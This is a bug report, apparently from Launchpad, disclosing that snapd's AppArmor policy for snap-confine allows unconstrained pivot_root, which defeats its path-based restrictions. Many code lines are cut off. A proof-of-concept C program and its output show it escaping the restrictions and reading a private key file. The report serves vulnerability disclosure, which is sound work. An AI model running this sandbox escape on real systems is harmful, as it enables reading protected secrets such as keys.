path-based AppArmor controls for snap-confine are ineffective due to pivot_root
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
AppArmor |
Confirmed
|
Undecided
|
Unassigned | ||
snapd |
Triaged
|
Medium
|
Unassigned |
Bug Description
snapd ships with an AppArmor policy for the setuid binary /usr/lib/
This AppArmor policy carefully and explicitly whitelists very few filesystem
locations ("We run privileged, so be fanatical about what we include and don't
use any abstractions"), but it also permits unconstrained "pivot_root".
This means that the path-based restrictions are somewhat useless because the
root-privileged process can pivot around the mount tree such that the
entire original mount hierarchy lands under a whitelisted path.
Demo:
================
user@ubuntu-
#define _GNU_SOURCE
#include <sys/mount.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
void try_open(char *path) {
int fd = open(path, O_RDWR);
if (fd != -1) {
printf(
char buf[10];
int res = read(fd, buf, sizeof(buf)-1);
if (res <= 0) {
perror("read from %s");
} else {
buf[res] = 0;
printf("read got: \"%s\"\n", buf);
}
} else {
printf("fail: %s (%m)\n", path);
}
}
void write_file(char *path, char *data) {
int fd = open(path, O_WRONLY);
if (fd == -1) err(1, "open %s", path);
if (write(fd, data, strlen(data) != strlen(data)))
err(1, "write %s", path);
close(fd);
}
__attribute_
printf(
try_open(
uid_t uid = geteuid();
uid_t gid = getegid();
if (unshare(
if (mount("none", "/", NULL, MS_REC|MS_SLAVE, NULL)) err(1, "rslave prop");
char buf[1000];
//sprintf(buf, "0 %d 1", uid);
//write_
//sprintf(buf, "0 %d 1", gid);
//write_
//write_
if (mount("none", "/var/lib", "tmpfs", MS_NODEV|MS_NOSUID, "")) err(1, "mount");
if (mkdir(
if (mkdir(
int pvr = syscall(
if (pvr == 0)
printf(
else
perror(
try_open(
exit(0);
}
user@ubuntu-
constructor running from /usr/lib/
fail: /home/user/
pivot_root success
success: /var/lib/
read got: "-----BEGI"
user@ubuntu-
================
Changed in snapd: | |
status: | New → Triaged |
importance: | Undecided → Medium |
[explicitly adding people from the related email thread]
By the way, to Ubuntu's security team: This doesn't seem to be the only place where AppArmor policies permit unconstrained pivot_root; you may want to look through other policies for broad whitelisting of pivot_root.